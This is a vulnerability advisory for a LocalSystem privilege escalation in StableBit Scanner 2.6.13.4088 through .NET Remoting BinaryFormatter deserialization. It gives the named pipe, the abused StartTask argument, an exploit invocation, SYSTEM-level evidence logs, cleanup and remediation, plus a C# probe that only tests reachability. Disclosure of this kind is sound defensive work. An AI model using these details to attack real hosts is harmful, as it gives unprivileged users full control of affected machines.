StableBit Scanner 2.6.13.4088 Local Privilege Escalation via Insecure Deserialization

Summary

StableBit Scanner exposes a local .NET Remoting IPC endpoint from `ScannerService`, which runs as `LocalSystem`. A standard local user can connect to `\\.\pipe\Scanner2_Comm`, perform a benign remoting call, and send a BinaryFormatter gadget as the `object TaskState` argument to `Comm1.StartTask(Guid, object, Guid[])`.

Affected Product and Version

- Product: StableBit Scanner
- Version: `2.6.13.4088`
- Bundle file version: `2.6.4088.0`
- Service: `ScannerService`
- Service account: `LocalSystem`
- IPC endpoint: `ipc://Scanner2_Comm/Comm1`
- Named pipe: `\\.\pipe\Scanner2_Comm`

Download URL and SHA-256

- Download URL: `https://covecube.download/ScannerWindows/release/download/StableBit.Scanner_2.6.13.4088_Release.exe`
- File name: `StableBit.Scanner_2.6.13.4088_Release.exe`

- SHA-256: `C95A72613C59B9EF5F3EF5C7862FC3A4276D62E95C5395E7D5B76477842A565B`
- Signature: `Valid`, signer `Covecube Inc.`

Primary component hashes:

Scanner.Service.exe	EFB39F126501ACF11582A1F27C170E6FA76F88ED054F91549760B02410172537
Scanner.Comm.dll	74B636E731D9315B3B345F5A606529AC48AE7804F58263B447E79EA62B45B5D6
Scanner.ServiceLib.dll	E2FCEF4B83199382EE9E342EB7AA7479E93B9EF7F4EA063BDEFEB96B89606D64
Cove.NativeSafe.dll	8907F561BF456C5F7ACC03BD7F07DBCBC535F6D0B3B6C75540A7AEBF30C2D1BC

Vulnerability Type

Local privilege escalation through unsafe .NET Remoting BinaryFormatter deserialization in a LocalSystem service.

Impact

A standard local user can execute code in the `ScannerService` process context, which is `LocalSystem`. This provides full local privilege escalation. The demonstration writes a controlled marker file and grants the standard Users group read access only to that marker file so the low-privilege exploit process can print the result.

Test Environment

- Host: `EXPDEV`
- OS: Microsoft Windows 11 Pro, 64-bit
- Setup user: local Administrator
- Attacker user: `expdev\low`
- Attacker integrity: Medium
- Protected marker path: `C:\ProgramData\VendorRepro\stablebit_scanner_rce\system_marker.txt`

Setup Steps

The official WiX Burn installer was executed with no-restart parameters:

```
StableBit.Scanner_2.6.13.4088_Release.exe /quiet /norestart /log install.log
```

The install log reported:

```
Applied execute package: ScannerSetup_x64, result: 0x0, restart: None
Apply complete, result: 0x0, restart: None, ba requested restart:  No
Exit code: 0x0, restarting: No
```

The installed service configuration showed LocalSystem:

```
SERVICE_NAME: ScannerService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        BINARY_PATH_NAME   : "C:\Program Files (x86)\StableBit\Scanner\Service\Scanner.Service.exe"
        DISPLAY_NAME       : StableBit Scanner Service
        SERVICE_START_NAME : LocalSystem
```

Reproduction Steps

1. Install StableBit Scanner 2.6.13.4088 with the no-restart command shown above.
2. Create a controlled marker directory that only `Administrators` and `SYSTEM` can write.
3. As the standard user, run the exploit:

```
stablebit_scanner_remoting_system_marker_exploit.exe --assembly "C:\Program Files
(x86)\StableBit\Scanner\Service\Scanner.Comm.dll" --marker-path
"C:\ProgramData\VendorRepro\stablebit_scanner_rce\system_marker.txt" --marker "STABLEBIT-SCANNER-
SYSTEM-MARKER-<unique-guid>" --trigger-rce --wait 20
```

The exploit first verifies baseline denial, connects to `\\.\pipe\Scanner2_Comm`, calls `GetServiceState`, and sends a BinaryFormatter gadget as the `TaskState` argument to `StartTask(Guid, object, Guid[])`.

Baseline Evidence

The marker directory allowed only `Administrators` and `SYSTEM`:

```
C:\ProgramData\VendorRepro\stablebit_scanner_rce NT AUTHORITY\SYSTEM:(OI)(CI)(F)
                                                 BUILTIN\Administrators:(OI)(CI)(F)
```

```
Successfully processed 1 files; Failed processing 0 files
```

The low-privilege process identified itself as a standard Medium Integrity user and could not write the marker directly:

```
[IDENTITY] user=expdev\low
[IDENTITY] is_administrator=False
[IDENTITY] integrity=Medium
[BASELINE] direct_marker_write=DENIED
path=C:\ProgramData\VendorRepro\stablebit_scanner_rce\system_marker.txt error=Access to the path
'C:\ProgramData\VendorRepro\stablebit_scanner_rce\system_marker.txt' is denied.
```

Exploit Evidence

The same standard-user process could connect to the LocalSystem remoting pipe and call a benign method:

```
[PIPE] path=\\.\pipe\Scanner2_Comm
[PIPE] connect=SUCCESS
[REMOTING] GetServiceState=Running
[REMOTING] BootStartedAt=2026-05-08T22:41:58.7886142-07:00
```

The standard-user process then sent the deserialization marker payload:

```
[EXPLOIT] Sending BinaryFormatter gadget as StartTask TaskState.
[EXPLOIT] Remote method returned an exception after deserialization: The given key was not present in the
dictionary.
[MARKER] read=SUCCESS path=C:\ProgramData\VendorRepro\stablebit_scanner_rce\system_marker.txt
[RESULT] system_marker_found=True
```

The marker file contained `whoami /all` output from LocalSystem:

```
USER INFORMATION
----------------

User Name          SID
=================== ========
nt authority\system S-1-5-18
```

The marker file ACL showed that the SYSTEM payload also granted low-privilege read access to that single test file:

```
C:\ProgramData\VendorRepro\stablebit_scanner_rce\system_marker.txt BUILTIN\Users:(R)
                                                                   NT AUTHORITY\SYSTEM:(I)(F)
                                                                   BUILTIN\Administrators:(I)(F)
```

Why This Proves the Vulnerability

The baseline proves that the standard user could not directly create or modify the protected marker file. The remoting evidence proves that the same standard user could reach `ScannerService` over the local IPC remoting channel. The marker file proves code execution in the service context because it contains `nt authority\system` output written after the low-privilege process sent a serialized object as a remoting argument.

The remote method exception does not disprove exploitation. The marker was written before the product method completed, during deserialization of the `object TaskState` argument. This is the expected failure mode for many deserialization proofs: the payload executes first, and normal application logic may then reject the method arguments.

Cleanup Steps

The product was uninstalled with no-restart parameters:

```
StableBit.Scanner_2.6.13.4088_Release.exe /uninstall /quiet /norestart /log uninstall.log
```

The uninstall log reported:

```
Applied execute package: ScannerSetup_x64, result: 0x0, restart: None
Apply complete, result: 0x0, restart: None, ba requested restart:  No
Exit code: 0x0, restarting: No
```

Post-cleanup checks:

```
[SC] EnumQueryServicesStatus:OpenService FAILED 1060:
The specified service does not exist as an installed service.


Program files Scanner exists: False
```

```
Runtime marker dir exists after cleanup: False
Runtime work dir exists after cleanup: False
```

No reboot or shutdown was initiated or requested.

Suggested Remediation

- Remove BinaryFormatter-based .NET Remoting for local IPC, or replace it with a protocol that does not deserialize arbitrary object graphs.
- Do not expose privileged remoting endpoints to Builtin Users unless every operation is authenticated, authorized, and uses a safe serializer.
- If remoting must remain temporarily, set the server formatter to the most restrictive possible type filter level and reject methods that accept `object`, delegate, collection, or interface-typed arguments from untrusted clients.
- Add a per-client authorization check before deserialization is possible, not only inside method handlers.
- Run privileged disk-management operations behind a hardened broker interface with explicit command schemas.

POC

```
using System;
using System.IO;
using System.IO.Pipes;
using System.Reflection;
using System.Runtime.Remoting.Channels;
using System.Runtime.Remoting.Channels.Ipc;
using System.Threading;

internal static class StableBitScannerReachabilityPoc
{
    private const string DefaultPipeName = "Scanner2_Comm";
    private const string DefaultUri = "ipc://Scanner2_Comm/Comm1";

    private static int Main(string[] args)
    {
        string pipeName = DefaultPipeName;
```

```
        string uri = DefaultUri;
        string assemblyPath = null;
        bool callGetServiceState = false;

        for (int i = 0; i < args.Length; i++)
        {
            string arg = args[i];
            if (arg.Equals("--pipe", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
            {
                pipeName = args[++i];
            }
            else if (arg.Equals("--uri", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
            {
                uri = args[++i];
            }
            else if (arg.Equals("--assembly", StringComparison.OrdinalIgnoreCase) && i + 1 < args.Length)
            {
                assemblyPath = args[++i];
            }
            else if (arg.Equals("--call-get-service-state", StringComparison.OrdinalIgnoreCase))
            {
                callGetServiceState = true;
            }
            else if (arg.Equals("--help", StringComparison.OrdinalIgnoreCase) || arg.Equals("-h",
StringComparison.OrdinalIgnoreCase))
            {
                PrintUsage();
                return 0;
            }
            else
            {
                Console.Error.WriteLine("Unknown or incomplete argument: {0}", arg);
                PrintUsage();
                return 2;
            }
        }

        Console.WriteLine("StableBit Scanner remoting reachability probe");
        Console.WriteLine("This PoC does not send a BinaryFormatter gadget and does not modify system state.");
```

```
        if (!ProbeNamedPipe(pipeName))
        {
            return 1;
        }

        if (!callGetServiceState)
        {
            Console.WriteLine("Pipe reachability confirmed. Use --call-get-service-state with --assembly for a benign remoting method call.");
            return 0;
        }

        if (string.IsNullOrEmpty(assemblyPath))
        {
            Console.Error.WriteLine("--call-get-service-state requires --assembly <path-to-Scanner.Comm.dll>.");
            return 2;
        }

        return CallGetServiceState(uri, assemblyPath);
    }

    private static bool ProbeNamedPipe(string pipeName)
    {
        Console.WriteLine("Testing local named pipe: \\\\.\\pipe\\{0}", pipeName);
        try
        {
            using (var pipe = new NamedPipeClientStream(".", pipeName, PipeDirection.InOut, PipeOptions.None))
            {
                pipe.Connect(3000);
                Console.WriteLine("Connected to named pipe as current user.");
                return true;
            }
        }
        catch (TimeoutException)
        {
            Console.Error.WriteLine("Timed out connecting to the pipe. The service may not be running.");
            return false;
        }
        catch (UnauthorizedAccessException ex)
        {
```

```
            Console.Error.WriteLine("Access denied opening the pipe: {0}", ex.Message);
            return false;
        }
        catch (IOException ex)
        {
            Console.Error.WriteLine("Pipe I/O error: {0}", ex.Message);
            return false;
        }
    }

    private static int CallGetServiceState(string uri, string assemblyPath)
    {
        string assemblyFullPath = Path.GetFullPath(assemblyPath);
        string assemblyDirectory = Path.GetDirectoryName(assemblyFullPath);

        AppDomain.CurrentDomain.AssemblyResolve += delegate(object sender, ResolveEventArgs eventArgs)
        {
            string candidate = Path.Combine(assemblyDirectory, new AssemblyName(eventArgs.Name).Name +
".dll");
            return File.Exists(candidate) ? Assembly.LoadFrom(candidate) : null;
        };

        try
        {
            var props = new System.Collections.Hashtable();
            props["name"] = "StableBitScannerReachabilityClient-" + Guid.NewGuid().ToString("N");
            props["secure"] = true;
            ChannelServices.RegisterChannel(new IpcClientChannel(props, null), true);

            Assembly scannerComm = Assembly.LoadFrom(assemblyFullPath);
            Type commType = scannerComm.GetType("ScannerComm.Comm1", true);
            object proxy = Activator.GetObject(commType, uri);
            MethodInfo method = commType.GetMethod("GetServiceState", new[] {
typeof(DateTime).MakeByRefType() });

            if (method == null)
            {
                Console.Error.WriteLine("Could not find Comm1.GetServiceState(DateTime&).");
                return 3;
            }
```

```
            object[] methodArgs = { DateTime.MinValue };
            object state = method.Invoke(proxy, methodArgs);
            Console.WriteLine("GetServiceState returned: {0}", state);
            Console.WriteLine("BootStartedAt: {0:o}", (DateTime)methodArgs[0]);
            return 0;
        }
        catch (TargetInvocationException ex)
        {
            Console.Error.WriteLine("Remote call failed: {0}", ex.InnerException != null ? ex.InnerException.Message
: ex.Message);
            return 4;
        }
        catch (Exception ex)
        {
            Console.Error.WriteLine("Remoting probe failed: {0}", ex.Message);
            return 4;
        }
    }

    private static void PrintUsage()
    {
        Console.WriteLine("Usage:");
        Console.WriteLine("  stablebit_scanner_remoting_reachability_poc.exe");
        Console.WriteLine("  stablebit_scanner_remoting_reachability_poc.exe --call-get-service-state --assembly
<Scanner.Comm.dll>");
        Console.WriteLine();
        Console.WriteLine("Options:");
        Console.WriteLine("  --pipe <name>               Named pipe to test. Default: {0}", DefaultPipeName);
        Console.WriteLine("  --uri <uri>                 Remoting URI. Default: {0}", DefaultUri);
        Console.WriteLine("  --assembly <Scanner.Comm.dll> Required only for the benign remoting method
call.");
    }
}
```

Revision #2
Created 25 May 2026 17:47:46 by winslow
Updated 20 June 2026 16:41:14 by winslow